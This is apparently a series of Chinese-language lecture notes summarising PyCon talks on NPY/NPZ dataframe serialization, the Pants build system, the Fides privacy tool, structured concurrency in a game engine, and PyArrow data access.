上一节我们介绍了本教程的概述,本节中我们来看看数据框的核心组件是什么。
数据框并非简单的二维数组。它是一个包含列数据的表格,其中各列可以具有不同的数据类型(异构类型)。数据框的行和列可以拥有标签,这些标签可以是任意类型,并且支持层次化结构。此外,数据框还附带有名称属性,用于为行、列或整个框架附加额外的元数据。
以下是一个数据框组件的示意图:
- 值数组:存储实际数据的 NumPy 数组,每个数组对应一种数据类型。
- 索引数组:定义行标签的数组,可以是层次化的。
- 列数组:定义列标签的数组,同样可以是层次化的。
- 类型信息:指明索引、列和值数组中每个组件的具体数据类型。
- 名称属性:附加到行、列和框架本身的额外标签元数据。
数据框在内部使用“块”来管理数组存储,以提高性能。块合并策略主要有三种:
- 未合并块:每一列都是一个独立的一维数组。
- 顺序依赖合并块:相邻且类型相同的列被合并为一个二维数组块。
- 顺序无关合并块:所有类型相同的列(无论是否相邻)被合并为一个二维数组块。
Pandas 使用顺序无关合并以获得最佳的类型整合,但增加了转换复杂度。StaticFrame 库则采用顺序依赖合并,虽然在类型整合上可能不是最优,但降低了复杂度,这有助于提升序列化性能。
序列化挑战:P31:2:现有格式的局限性与 NPY/NPZ 的潜力
上一节我们介绍了数据框的内部结构,本节中我们来看看完整序列化数据框所面临的挑战。
除了 Python 的 pickle 模块,目前没有一种通用格式能完美支持数据框的所有特性(包括所有 NumPy 数据类型、层次化标签、异构类型标签以及名称属性)。Parquet 格式虽然性能出色且支持丰富元数据,但它本质上是为跨平台列表数据设计的,并非原生数据框格式,因此在与数据框相互转换时可能导致信息丢失。
pickle 格式虽然速度快,但由于安全性和长期存储可靠性问题(可能执行恶意代码、引用失效对象),不适合作为持久化存储方案。
因此,理想的数据框序列化方案需要:
- 编码所有值及其类型。
- 编码所有索引和列标签。
- 支持层次化标签。
- 支持每个标签深度的异构类型。
- 保留名称属性。
NumPy 的 NPY 格式为序列化单个数组提供了优秀的基础。它定义了一种二进制文件格式,可以编码任何 NumPy 数组的维度、数据类型、内存顺序和实际数据。NPZ 格式则是多个 NPY 文件的 ZIP 压缩包。一个自然的想法是:能否将数据框视为一系列 NumPy 数组的集合,并用 NPZ 格式进行序列化?
NPY/NPZ 格式详解:P31:3:理解二进制编码机制
上一节我们探讨了数据框序列化的需求,本节中我们深入了解一下 NPY 和 NPZ 格式的具体构成。
一个 NPY 文件由两部分组成:一个文件头,后面跟着连续的字节数据(有效载荷)。
文件头 包含以下信息:
- 魔数前缀:标识这是一个 NPY 文件。
- 版本号:指定格式版本。
- 头长度:指示需要读取多少字节来获取完整的头信息。
- 数组描述字典:这是一个经过编码的 Python 字典,包含三个关键信息:
descr:数据类型的描述字符串。fortran_order:布尔值,表示是否是 Fortran 列优先顺序。shape:数组的形状元组。
- 填充字节:确保头部的总长度是 64 字节的倍数。


有效载荷 就是数组数据的连续字节表示。


例如,一个包含 [False, True, True] 的布尔数组,其 NPY 文件大致结构如下:
[魔数][版本][头长度][{‘descr’: ‘|b1’, ‘fortran_order’: False, ‘shape’: (3,)}][填充][数据字节]

NPY 原生支持通过 pickle 来序列化对象数组,但出于安全考虑,在数据框序列化场景中应避免使用此功能。


NPZ 文件则是一个包含多个 NPY 文件的 ZIP 归档。原始的 NPZ 规范没有规定标准的命名约定或元数据文件。在本方案中,我们为其添加了这些规范,以便系统地组织数据框的各个组件。
编码数据框为 NPZ:P31:4:将组件映射到文件
上一节我们理解了 NPY 的格式,本节中我们来看看如何将一个完整的数据框编码到一个 NPZ 文件中。
策略是将数据框的每个组件数组存储为一个独立的 NPY 文件,并将所有额外的元数据存储在一个自定义的 JSON 文件中,然后将所有这些文件打包到一个(未压缩的)ZIP 归档中,即 NPZ 文件。
以下是映射关系:
- 值数组:每个数据块(可能是合并后的二维数组)存储为一个 NPY 文件(例如
__blocks_0__.npy,__blocks_1__.npy)。 - 列标签数组:列索引的每个层级存储为一个 NPY 文件(例如
__columns_depth_0__.npy)。 - 行标签数组:行索引的每个层级存储为一个 NPY 文件(例如
__index_depth_0__.npy)。 - 元数据 JSON 文件:一个名为
__meta__.json的文件,存储以下信息:- 各组件的类型描述符。
- 索引和列的深度信息。
- 所有名称属性。
通过这种结构,NPZ 文件完整地封装了重建数据框所需的全部信息和数据。
性能优化:P31:5:超越 NumPy 原生实现的加速


上一节我们介绍了如何将数据框编码为 NPZ,本节中我们探讨一下如何通过优化 NPY 的读写过程来获得极致的性能。
NumPy 原生的 np.save 和 np.load 函数设计注重兼容性和通用性。当需要序列化包含成千上万个数组的数据框时,这些通用例程可能成为瓶颈。通过实现一个更专注、更精简的 NPY 读写器,可以获得显著的性能提升。
优化措施包括:
- 移除不必要支持:放弃对结构化数组、对象数组(及相关的
pickle)以及由 Python 2 编写的旧版 NPY 文件的兼容性支持。这简化了代码路径。 - 头部缓存:在序列化数据框时,许多数组的头部信息(如数据类型、形状)是相同或相似的。缓存已编码的头部可以避免重复计算。
- 固定使用版本 1:坚持使用 NPY 格式版本 1,它足以满足需求且实现简单。
这些优化使得 NPY/NPZ 的读写速度大幅超过 NumPy 原生实现,从而为超越 Parquet 的性能奠定了基础。
性能对比:P31:6:NPZ 与 Parquet、Pickle 的基准测试
上一节我们了解了性能优化的方法,本节中我们通过具体的基准测试数据来比较 NPZ、Parquet 和 Pickle 的表现。


测试涵盖了多种数据框形态,以全面评估性能:
- 数据规模:100 万元素和 1 亿元素。
- 形状比例:细高形(行多列少)、方形、宽形(行少列多)。
- 类型异构性:
- 列式:每列类型都不同,无块合并。
- 混合:部分列类型相同,存在部分块合并。
- 均匀:所有列类型相同,可合并为单个块。
以下是核心发现:
读取性能:
- Pickle 通常是最快的。
- NPZ 的读取速度在所有测试场景下均快于(压缩或未压缩的)Parquet。
- 当数据框类型更均匀(块合并程度高)时,NPZ 的优势更明显。
- Parquet 使用压缩有时会降低读取速度。
写入性能:
- NPZ 的写入速度在所有测试场景下均显著快于 Parquet。
- 在某些情况下,NPZ 的写入速度甚至接近或超过了 Pickle。
文件大小:
- 未压缩的 NPZ 文件通常小于未压缩的 Parquet 文件。
- 压缩的 Parquet 文件比 NPZ 文件更小,这是其优势。但在处理超大文件(如 1 亿元素)时,压缩 Parquet 的读写性能代价很高。
- NPZ 文件大小通常比压缩 Parquet 大,但超出幅度一般不超过 25%。
综上所述,NPZ 在速度和通用性上取得了很好的平衡,尤其在读写速度上优势明显。

内存映射数据框:P31:7:使用 NPY 实现极致读取性能

上一节我们对比了不同格式的性能,本节中我们探索一种更高级的用法:将整个数据框内存映射到 NPY 文件,以实现极致的读取性能和低内存占用。
内存映射允许将磁盘文件的内容直接关联到进程的虚拟内存空间。对于大型数据集,这可以:
- 显著提升读取速度:避免将整个文件一次性加载到物理内存。
- 支持惰性加载:只在访问数据时才将其调入物理内存。
- 减少内存拷贝:多个进程可以共享同一份只读数据。
实现内存映射数据框的步骤:
- 将数据框导出到文件系统的一个目录中,每个组件数组保存为独立的 NPY 文件(而非打包成 NPZ)。
- 使用
mmap系统调用为每个 NPY 文件的数据部分创建内存映射。 - 利用这些内存映射缓冲区,直接构造 NumPy 数组(
np.ndarray)。 - 使用这些数组重新构建数据框。
由于 StaticFrame 采用不可变数据模型和顺序依赖的块合并策略,其内部存储结构与 NPY 文件布局高度一致,使得内存映射可以无缝进行,无需额外的数据转换或复制。
基准测试表明,使用内存映射 NPY 目录的方式读取数据框,其性能甚至超过了 NPZ 和 Pickle,同时保持了最低的内存占用,非常适合处理超大规模数据集。
总结与展望:P31:8:当前状态与未来方向
本节课我们一起学习了如何利用 NumPy 的 NPY/NPZ 格式来实现高效的数据框序列化与内存映射。


我们首先剖析了数据框的复杂结构,然后指出了现有序列化方案(如 Parquet 和 Pickle)的局限性。接着,我们深入了解了 NPY/NPZ 这种已有十多年历史的二进制格式,并展示了如何通过系统性地映射数据框组件到 NPY 文件集合,再打包成 NPZ,来实现完整的数据框序列化。
通过针对性的性能优化,NPZ 格式在读写速度上全面超越了 Parquet。更进一步,通过将数据框导出为 NPY 文件目录并实施内存映射,我们获得了近乎极致的读取性能和高效的内存利用。
目前,这套 NPY/NPZ 的读写例程已在 StaticFrame 库中完全实现,并应用于生产环境,取得了显著收益。用户可以通过简单的接口(to_npz, from_npz, to_npy, from_npy)来使用这些功能。Pandas 用户也可以通过转换为 StaticFrame 来间接享受此技术带来的好处。
展望未来,可能的改进方向包括探索 NPY 数据的压缩算法,以在保证速度优势的同时,进一步缩小文件体积。


希望本教程能让你对数据框的序列化与高性能处理有更深入的理解,并为你的数据处理工具箱增添一个强大的选项。
032:快速且可重复的测试、打包和部署 🚀


在本节课中,我们将要学习如何利用Pants构建系统来实现快速且可重复的测试、打包和部署。我们将探讨“密闭环境”的概念,了解它如何帮助我们对构建过程进行可预测的建模,从而实现高效的缓存和并行执行,最终节省开发时间。



概述 📋
本次课程内容基于PyCon 2022中克里斯托弗·诺伊格鲍尔关于Pants构建系统的演讲。Pants是一个构建系统,它起源于编译语言,旨在协调与代码交互的所有工具,包括测试、类型检查、代码格式化、打包等。我们的核心目标是理解如何通过创建“密闭环境”来确保构建过程的可重复性,从而解锁缓存、并行化等高级功能,让开发工作流更加高效。
P32:1:Pants构建系统简介
首先,我们来快速介绍一下Pants构建系统以及它旨在解决的一些问题。
Pants是一个构建系统,其理念源于编译语言。在这些语言中,你需要以特定顺序运行许多程序才能使代码工作。Pants协调所有与代码交互的工具,涵盖了从代码检查、测试到为部署构建软件包的全过程。
即使在Python这样不需要显式编译步骤的语言中,Pants仍然可以帮助协调诸如PyTest、MyPy、Flake8和Black等工具,让你能更高效地运行它们,并且只需与一个工具交互。
在进入核心概念前,我们需要明确几个Pants中的关键术语:
- 目标:用户要求Pants完成的事情,例如运行测试或打包库。
- 规则:Pants为完成目标而需要执行的独立步骤。
- 进程:Pants所协调的实际底层工具(如
pytest)的运行实例。
本次讨论聚焦于Pants 2,这是一个由开源社区从头构建的新版本,特别考虑了Python开发者的体验。Pants的目标是能够伴随代码库一起成长,支持多语言,并且在大型代码库中保持高效。
Pants的一个关键优势是智能化地运行任务。例如,当你修改一个文件后再次运行测试时,Pants通过静态分析理解代码依赖关系,只会重新运行受影响的测试,而不是整个测试套件。这能显著加快开发迭代速度。

为了进一步扩展效率,Pants致力于支持远程缓存和远程执行。这意味着如果团队中一个成员运行了某个特定规则,其他成员需要相同结果时可以直接从缓存获取,无需重复运行。这引出了一个核心问题:我们如何确保规则的结果是可靠且可重复的? 如果可以确信再次运行同一规则会产生完全相同的结果,那么缓存才安全有效。

P32:2:理解可重复性
上一节我们介绍了Pants的目标和缓存带来的效率提升,本节中我们来看看实现这一切的基础:可重复性。
可重复性是指,如果你运行相同的规则,你将会得到相同的结果。这听起来简单,但“相同”的含义需要明确。在开源领域,你可能听说过“可重现构建”,它追求密码学级别的保证,确保二进制包严格对应一组源文件。
然而,对于大多数内部开发团队而言,我们并不需要这种级别的绝对保证。我们更关心的是有用的正确性和开发速度。对我们来说,可重复性意味着能够确保无论规则是顺序运行还是并行运行,你都无法获得不同的结果。
从数学模型上看,我们将每个规则视为一个纯函数:相同的输入应产生相同的输出。对于完全在Pants内部Python代码中实现的规则,这很容易保证。真正的挑战在于进程——那些由Pants协调的底层工具(如pytest)的运行实例。进程受依赖版本、操作系统特性等多种因素影响,难以建模。
因此,我们需要让进程的执行变得可预测。我们无法依赖“在我机器上能工作”这种不可重现的情况。我们需要确保,只要从相似的环境开始,就不会得到错误的结果。那么,什么是“相似的环境”呢?
对于Python工具,环境主要由四个方面构成:
- 操作系统(包括架构)。
- Python解释器版本。
- 依赖项版本(通过锁定文件精确指定)。
- 工具本身的配置。
在传统工作流中,逐步添加依赖可能导致本地环境与代码库指定的环境发生偏离。为了获得可预测性,最好的方法是为每个进程创建一个全新的、符合要求的干净环境。这样做的好处是:
- 可以独立管理不同工具的版本和依赖。
- 避免了进程间因共享环境而产生的副作用干扰。
如果我们允许进程保留副作用,那么进程的行为就会依赖于它们运行的顺序,这使得建模和缓存变得极其复杂。相反,密闭环境将每个进程的副作用隔离,只捕获我们真正关心的输出。

P32:3:实现密闭环境与沙箱技术

上一节我们探讨了可重复性的重要性以及密闭环境的概念,本节中我们来看看如何实际创建这些密闭环境,这涉及到沙箱技术。
沙箱的目标是将进程彼此隔离,确保它们的执行不会相互干扰。最彻底的隔离方式包括使用专用机器、容器(如Docker)或chroot监狱。Docker能提供很好的隔离,但对于需要频繁创建和销毁环境的构建任务来说,其性能开销可能过大。
因此,所有沙箱方法都需要在隔离级别和构建速度之间进行权衡。关键在于,我们实际需要多少隔离?对于Pants运行的构建工具,我们不需要像运行不受信代码那样严格的安全隔离。因为这些工具本身是受信的,并且它们的工作量是可预测的——通常只读取指定文件,并输出到指定位置。
所以,Pants采用的是一种更轻量级的隔离方式。它不会在完全隔离的容器中运行进程,而是在主操作系统中运行。但是,Pants会将进程的工作目录设置在一个全新的临时目录中,并从头设置环境变量(类似于虚拟环境venv的做法,但更彻底)。Pants运行的工具通常是“行为良好”的,它们会遵从配置,从指定位置加载依赖,而不会随意访问系统其他部分。
为了创建这个环境,Pants会将所需的输入文件和依赖项复制到这个临时目录中。进程完成后,Pants只将构建产物(我们关心的输出文件)复制出来,然后丢弃整个临时环境。这样就实现了进程间的隔离。
P32:4:Pants的核心机制:摘要与缓存

上一节我们了解了Pants如何利用轻量级沙箱创建密闭环境,本节中我们深入探讨Pants实现高效缓存的核心机制:内容可寻址存储和“摘要”。

缓存规则结果的前提是,计算缓存键的成本必须低于重新运行规则的成本。如果为了准备环境而进行大量的文件复制,导致过程变慢,用户是无法接受的。因此,Pants需要一种高效的方式来回答“我们是否已经运行过这个特定任务?”这个问题。
在密闭环境中,这个问题等价于:如果我们有相同的输入文件、相同的配置和相同的依赖,我们是否会得到相同的结果?直接比较文件系统上的文件是缓慢且不可靠的,因为文件是可变的。
Pants通过使用内容可寻址存储(底层使用LMDB)来解决这个问题。它允许我们以一种不受文件系统限制的方式来推理文件。对于规则作者和Pants内部来说,操作的基本单元不是单个文件,而是称为摘要的东西。
摘要是对一组文件的轻量级、不可变的引用。它基于文件内容生成,因此内容相同的文件集会得到相同的摘要。摘要非常轻量,使得它们作为缓存键的成本极低。
以下是Pants中进程执行模型的关键步骤:
- 进程的输入(源文件、依赖项)被表示为摘要。
- 当需要运行进程时,Pants检查缓存中是否存在由“命令、环境变量、输入摘要”等参数构成的键。
- 如果存在,则直接返回缓存的结果。
- 如果不存在,Pants才会将摘要所代表的文件物化到临时目录中,然后运行进程,并将输出捕获为新的摘要存入缓存。
这种方法的美妙之处在于,我们只在绝对必要时(即缓存未命中且需要实际运行进程时)才进行文件I/O操作。摘要的合并、比较等操作都在内存中高效完成,这极大地降低了协调任务和计算缓存键的开销。


总结 🎯
本节课中我们一起学习了Pants构建系统如何通过“密闭环境”来实现快速且可重复的构建。
我们首先了解到,通过对构建过程进行可预测的建模,可以智能地运行或跳过任务,从而节省时间。然后,我们探讨了实现可预测性的核心——创建密闭环境,它将每个进程隔离,只保留我们关心的输出。接着,我们看到了Pants如何利用轻量级的沙箱技术(而非重型容器)在性能和隔离之间取得平衡。最后,我们深入了解了Pants高效缓存机制的核心:使用内容可寻址存储和“摘要”来廉价、可靠地表示和比较文件集,这使得缓存查询变得快速,从而让“不运行”任务成为最快的选择。


通过结合密闭环境、轻量级沙箱和基于摘要的缓存,Pants构建系统能够为Python项目(以及多语言项目)提供高效、可靠且可扩展的开发工作流。
033:基于Python的开源数据隐私工具Fides 🛡️

概述
在本节课中,我们将学习一个名为Fides的开源数据隐私工程平台。我们将了解“隐私即代码”的理念,探索Fides的核心概念,并通过实际演示学习如何使用它来管理软件开发中的隐私风险和执行用户数据权利。
什么是“隐私即代码”?🤔
上一节我们介绍了课程主题,本节中我们来看看“隐私即代码”这一核心理念。
在软件开发中,隐私通常被视为发布后需要解决的问题。这给开发者和法务团队都带来了挑战。诸如GDPR、CCPA等法规引入了数据发现、隐私审查、权利请求等复杂概念。
“隐私即代码”的理念是将隐私作为软件开发流程中的一层来对待,类似于“安全左移”。其目标是为开发者提供工具,使得构建尊重隐私的系统变得更加容易,从而将隐私考虑内嵌到开发过程中,而非事后补救。
Fides 平台简介 🚀
上一节我们探讨了“隐私即代码”的理念,本节中我们来看看实现这一理念的工具——Fides平台。
Fides是一个开源的隐私工程平台,旨在帮助开发者和数据工程师更容易地遵守隐私法规。它包含两个主要组件:
- Fides控制:在软件开发生命周期中运行,用于在开发阶段管理和评估隐私风险。
- Fides操作:一个容器化应用,用于在生产运行时代表用户执行和管理数据权利任务。
Fides的核心是Fides语言,这是一种轻量级的隐私描述语言,允许开发者描述其系统的数据隐私特征,而无需深入了解复杂的法律条款。
Fides 核心分类法 🗂️
上一节我们介绍了Fides平台的组成,本节中我们深入了解一下其描述隐私的核心语言——分类法。
Fides语言通过四个核心概念来描述数据和隐私特征:
以下是四个核心数据类别:
- 数据类别:描述“什么”类型的数据。例如:
user.contact.email(电子邮件地址)或system.operations(系统操作数据)。 - 数据主体:描述数据“关于谁”。指的是数据所关联的个人。
- 数据用途:描述使用数据的“目的”。例如:提供电子商务服务、进行广告投放等。
- 数据限定符:描述数据集中个人的可识别程度。例如:完全可识别、去标识化、聚合匿名化等。
通过组合这四个简单的概念,可以建模大多数数据和隐私场景。

如何使用 Fides 语言进行声明 📝
上一节我们了解了核心概念,本节中我们来看看如何实际使用Fides语言进行声明。

声明方式故意设计得轻量且声明式,主要使用点符号表示法,并以YAML文件形式存在于项目中。
例如,声明两种数据类型:
# 声明系统操作数据(如时间戳)
data_categories:
- system.operations
# 声明用户提供的可识别联系电子邮件
data_categories:
- user.contact.email
开发者可以根据所知信息的详细程度,选择使用具体或抽象的标签。
在Fides中,有四种基本资源用于组织声明:
以下是四种基本资源:
- 组织:代表一个公司或部门,是资源层级的根。
- 系统:代表单个项目、服务或应用程序的隐私属性,描述其行为和使用数据的目的。
- 数据集:建模任何可能包含数据的事物,如数据库、数据表、列表等。
- 策略:描述关于系统的可执行规则集,将企业隐私政策转化为代码。
实践演示:在开发中执行隐私策略 🔍
上一节我们学习了如何声明,本节我们通过一个演示来看看Fides控制如何在实际开发中工作。
演示将模拟一个简单的电子商务应用。流程如下:
- 扫描基础设施:使用
fidesctl scan命令扫描AWS环境,识别可能包含数据的系统。 - 生成数据集:使用
fidesctl generate dataset命令连接到具体数据库(如Postgres),生成数据模型的YAML文件框架。 - 手动标注:开发者根据分类法,在生成的YAML文件中为数据字段添加标签(如将
email字段标注为user.contact.email)。 - 声明系统:在另一个YAML文件中声明应用程序(系统)的行为,包括其处理的数据类别和用途。
- 策略评估:定义企业隐私策略(例如:“拒绝使用敏感数据进行个性化或广告”)。使用
fidesctl evaluate命令,Fides会将系统声明与策略进行对比。- 如果系统试图使用被策略禁止的敏感数据(例如,误将电子邮件标注为医疗健康数据),评估将失败,并阻止代码提交。
- 如果符合策略,评估则通过。
- 生成审计跟踪:所有评估结果都会生成审计日志,记录合规情况。
这个过程将隐私审查左移到了CI/CD管道中,防止了风险代码进入生产环境。
实践演示:自动化数据主体权利请求 ⚙️
上一节我们看到了如何在开发阶段控制风险,本节我们看看Fides如何自动化处理生产环境中的用户数据权利请求(如“被遗忘权”)。

处理数据主体访问请求通常耗时耗力。Fides操作利用Fides控制生成的元数据层,可以自动化执行这些请求。
演示流程如下:
- 提交请求:用户通过Fides隐私中心网络界面提交数据访问请求(提供电子邮件)。
- 自动化检索:请求被提交到Fides操作服务器。服务器根据元数据层中定义的数据类别映射,自动定位到所有存储该用户数据的系统(如Postgres数据库、MailChimp)。
- 执行并返回:Fides操作从这些系统中检索用户的所有相关数据,并汇总到一个JSON文件中返回。
- 适应变化:当数据模型变更时(例如,为某个字段添加了新的隐私标签),开发者只需更新开发环境中的数据集声明YAML文件。提交后,元数据层自动更新。后续的数据权利请求将自动适应新的数据模型,无需重写任何生产环境脚本。
这大大简化了响应数据权利请求的工程负担。

总结
本节课中我们一起学习了:
- “隐私即代码” 的理念,即将隐私作为软件开发中的必要一层。
- Fides开源平台,它通过Fides控制(开发时)和Fides操作(运行时)来实现这一理念。
- Fides核心分类法,包括数据类别、主体、用途和限定符,用于描述隐私特征。
- 如何使用YAML文件声明数据和处理逻辑。
- 两个核心实践:
- 在CI/CD管道中自动评估隐私策略,防止风险。
- 自动化处理数据主体权利请求,利用元数据映射大幅提升效率。


Fides是一个基于Python的强大工具,旨在让工程师更简单、更高效地构建尊重隐私的系统。
034:为什么我在游戏引擎中重新实现 Trio 🎮


在本教程中,我们将学习如何在游戏引擎中应用“结构化并发”的概念。我们将从传统的游戏循环开始,逐步探讨如何利用协程和任务来组织游戏逻辑,最终理解为何要借鉴 Trio 库的思想来构建更清晰、更健壮的游戏代码。
概述:游戏循环与场景图 🔄

大多数游戏引擎的核心是一个事件循环。这个循环会以固定的频率(例如每秒60次)调用两个主要函数:update 和 draw。

update函数负责更新所有游戏逻辑。draw函数负责将内容绘制到屏幕上。

许多游戏引擎(如 PyGame Zero、Wasabi2D)会封装这个事件循环,提供一个简单的 run 函数,开发者只需传入 update 和 draw 函数即可。
接下来,一个常见的优化是引入场景图。场景图是一个数据结构,用于表示屏幕上需要绘制的内容。引擎负责高效地绘制场景图,例如剔除不可见的对象。此时,update 函数的职责就变成了更新场景图中的数据,以便 draw 函数能正确渲染。

从本节开始,我们将假设场景图已经存在,并专注于游戏逻辑的组织。
游戏中的并发需求 🤹

现在,让我们看看游戏中并发编程的现状。考虑以下两种情况:

- 大量物体同时移动:例如,屏幕上成百上千的粒子以相同模式运动。这可以写成一个向量化的函数来高效处理。
- 多个角色独立行为:例如,游戏中的两个角色执行完全不同的动作序列。这更容易被视为两个独立的任务或协程,它们只是恰好在同一个游戏循环中运行。
传统的 update 函数在处理复杂并发逻辑时会变得混乱:它包含大量状态变量,逻辑交织在一起,难以阅读和重构。当某些行为暂时不活跃时,函数中还会出现“空转”的提前返回。
协程:更清晰的解决方案 ✨

协程提供了一种更优雅的解决方案。在 Python 中,使用 await 关键字可以暂停一个函数的执行,将控制权交还给事件循环,稍后再恢复执行。
协程的优势在于:
- 一个任务的当前状态由其局部变量和程序计数器位置自动保存。
- 一个协程函数可以完整地描述一个对象从开始到结束的行为,代码可读性更高。
以下是 Wasabi2D 中的一个示例,它展示了一个驱动小船移动的协程:
async def drive_ship():
ship = scene.add_sprite('ship', pos=random_position())
while True:
target = random_position()
await ship.animate_angle_to(target, duration=0.5) # 转向目标
await ship.animate_pos_to(target, duration=2.0) # 移动到目标
在这个例子中,drive_ship 协程清晰地表达了“小船永远循环:选择一个随机目标,转向它,然后移动过去”这一完整行为。我们将这个协程传递给引擎的 run 函数,它就成了我们的游戏逻辑本身。

什么是结构化并发? 🌳
我们已经看到了使用协程实现并发的能力。那么,什么是结构化并发呢?

其核心思想是:每当控制流分裂成多个并发路径时,必须确保它们最终能重新汇聚。 换句话说,并发任务的生命周期应该被嵌套在一个明确的作用域内。
我们可以借用 Trio 库作者 Nathaniel Smith 的比喻:想象一个绿色任务(父任务)启动了几个蓝色子任务。在结构化并发中,所有蓝色子任务都必须在绿色任务继续执行之前完成。
以下是 Trio 中的代码示例:
async def fetch_two():
async with trio.open_nursery() as nursery:
nursery.start_soon(fetch, ‘url1‘)
nursery.start_soon(fetch, ‘url2‘)
# 只有上面两个任务都完成后,才会执行到这里
print(“Both fetches complete”)
async with 块定义了一个“育儿室”(nursery)作用域。在这个作用域内启动的任务,会在退出该作用域时(即 async with 块结束时)被自动等待。这保证了任务的生命周期是结构化的、可预测的。
相比之下,标准的 asyncio.gather 虽然也能等待多个任务,但它缺乏严格的“所有权”概念。任务可以在 gather 之外创建和存活,如果一个任务抛出异常,其他任务可能不会自动取消,这可能导致资源泄漏或不可预期的状态。
Wasabi2D 和 Python 3.11+ 的 asyncio.TaskGroup 都采用了类似 Trio 的结构化并发模型。
结构化并发在游戏中的应用 🚀
结构化并发如何让游戏编程受益呢?让我们通过一个“无尽敌舰波次”的游戏例子来说明。
以下是核心逻辑的简化表示:

async def level():
for wave_number in tools.count(): # 无限波次
await sleep(2) # 每波开始前暂停
async with nursery() as wave_nursery:
for _ in range(10):
wave_nursery.start_soon(spawn_enemy_ship())
# 只有当这波所有敌舰都被击败后,才会进入下一波

在这个模型中:
- 行为被分解为任务:每艘敌舰、每个子弹、每个动画效果都可以是育儿室中运行的一个独立协程任务。
- 取消是关键原语:育儿室可以被取消。取消一个育儿室会向其内部所有正在运行的任务抛出取消异常,从而干净地终止整个子树的任务。例如,当敌舰被子弹击中时,我们可以取消运行该敌舰行为的育儿室,然后播放爆炸动画。
- 简化资源管理:结合 Python 的上下文管理器(
async with),可以确保资源(如图形效果、碰撞检测器)在任务退出时被正确清理,无论任务是正常完成还是被取消。 - 提升代码可读性与可重构性:每个协程都描述了一个自包含的行为。你可以轻松地组合、调用或替换它们,因为它们是结构化的、生命周期明确的任务。
同步与通信:事件对象 📨
除了取消,任务间还需要通信。Trio 和 Wasabi2D 提供了事件对象(Event)来实现同步。

例如,在一个游戏中,有一个“能量提升”生成器:
- 生成器协程创建一个能量道具,并设置一个“未被收集”的事件。
- 然后它等待这个事件。
- 当玩家碰撞收集到这个道具时,另一个协程会“设置”该事件。
- 生成器协程被唤醒,关闭道具的灯光,然后重新开始循环。
这种基于事件的通信方式,使得不同任务能清晰地协调,而无需共享复杂的可变状态。
为什么在游戏引擎中重新实现? ⚙️
既然 Trio 如此优秀,为什么要在游戏引擎(Wasabi2D)中重新实现类似的概念呢?主要原因是调度模型和时间概念的差异。
-
调度顺序:
- Trio (I/O):当多个任务就绪时,Trio 的调度策略可能是随机的,以避免用户依赖某种特定顺序。
- 游戏引擎:需要确定性。Wasabi2D 选择按任务创建顺序来运行,确保每一帧内所有逻辑更新的顺序一致,避免因调度抖动导致的视觉或逻辑问题。
-
时间模型:
- Trio (连续时间):时钟是连续的,
await可能在任何时刻恢复。 - 游戏引擎 (离散时间):时间是按帧离散前进的。在一帧之内,时钟“凝固”。所有
update逻辑必须在本帧内完成,然后才会推进时间并绘制下一帧。这保证了游戏状态在帧与帧之间是同步的。
- Trio (连续时间):时钟是连续的,
因此,虽然共享核心的结构化并发理念,但游戏引擎需要一套在离散时间、确定性帧循环下工作的并发原语。
总结 📝
在本节课中,我们一起学习了:
- 从游戏循环到协程:传统的
update函数在复杂逻辑下会变得混乱,而协程能以更清晰、线性的方式描述对象行为。 - 结构化并发:通过“育儿室”(Nursery/TaskGroup)将并发任务的生命周期约束在明确的作用域内,确保任务能正确启动、汇聚和清理。
- 在游戏中的应用:结构化并发允许我们将游戏对象的行为拆分为独立、可组合的协程任务。取消机制成为管理对象生命周期(如敌舰死亡)的强大工具,结合上下文管理器能有效避免资源泄漏。
- 引擎的特别考量:由于游戏对确定性和离散时间步长的要求,需要在游戏引擎内实现一套适配的、基于结构化并发理念的运行时,而不是直接使用为 I/O 设计的异步库。

最终,在游戏引擎中采用结构化并发,带来了一种几乎可以消除状态管理错误的编程模型。它让添加动画、编写复杂对象行为、以及重构代码都变得更加简单和可靠,因为每个任务都是自包含且生命周期得到严格管理的。
035:加速数据访问


概述
在本节课中,我们将学习如何利用 Apache Arrow 规范及其 Python 实现 PyArrow 来加速数据访问。我们将探讨传统数据处理中的瓶颈,理解“数据即新API”的概念,并通过具体示例展示 PyArrow 如何通过其内存列式格式和零拷贝特性,显著提升数据读取、转换和网络传输的效率。
P35:1:引言与背景
大家好。本次演讲的主题是加速数据访问与 PyArrow。
演讲者是 Deepak Gupta。本次演讲结束后不接受现场提问,但您可以在演讲后通过 Twitter 私信联系演讲者。
“数据是新的石油”这句话广为人知。然而,如果无法在需要时高效访问数据,就无法从中提取价值,数据的潜力也就无法完全发挥。
所有软件程序本质上都由两部分构成:数据 和 作用于数据的函数。遗憾的是,在过去几十年的编程教育中,我们往往更侧重于函数,而较少深入探讨如何在程序中高效处理大规模数据。如今,我们需要像重视函数一样重视数据。
基于此背景,我们将介绍 Apache Arrow。
P35:2:什么是 Apache Arrow 与 PyArrow?
Apache Arrow 不是一个框架或库,而是一个规范。它定义了一种在内存中表示数据的列式格式。这个规范是语言无关的。
由于是规范,就需要具体的实现。Apache Arrow 在包括 Python 在内的12种语言中都有库或绑定实现。PyArrow 就是其在 Python 中的绑定库,我们将通过它进行演示。
当我们讨论数据交换时,例如通过 REST API 或 GraphQL 查询,我们通常信任返回的数据格式。但如果两个使用不同编程语言(如 Java 和 Python)的系统需要通信,即使数据本身是二进制兼容的,它们也必须进行序列化和反序列化。这个过程同样存在于程序与数据库之间,会带来额外的性能开销。
一篇题为《Don‘t Hold My Data Hostage》的论文用一张图清晰地展示了这种开销:数据处理时间中,序列化与反序列化占据了相当大的比重。
那么,如何解决这个问题?答案就是 “数据即新的API”。
P35:3:数据即新 API 与列式内存格式
“数据即新 API”的理念是:数据本身应该携带足够的元信息来描述自己。这样,接收方无需预先知道数据的精确结构,就能直接理解并使用它。这可以消除因格式不明确而产生的序列化/反序列化成本。
Apache Arrow 的内存列式表示正是实现这一理念的关键。它就像两个人都说同一种语言(如英语),可以直接交流,无需翻译。如果通信双方都使用兼容 Apache Arrow 的组件,它们就能直接理解内存中的数据格式,从而避免昂贵的转换过程。
如果您想体验 Apache Arrow 带来的好处,可以尝试以下任务:在使用 Apache Spark 和 Pandas 时,启用 Apache Arrow 作为两者数据交换的格式。通过一个简单的配置参数,您就能观察到数据转换速度的显著提升。
Apache Arrow 的核心思想是:无论数据存储在数据库还是对象存储中,您都可以使用 PyArrow 等库,以 Arrow 的内存列式格式将数据加载到内存中。您可以直接在 Arrow 格式的数据上进行计算,也可以零拷贝地将其转换为 Pandas、NumPy 或 R 的数据结构,反之亦然。
注意:零拷贝通常适用于纯数值型且非空的数据。
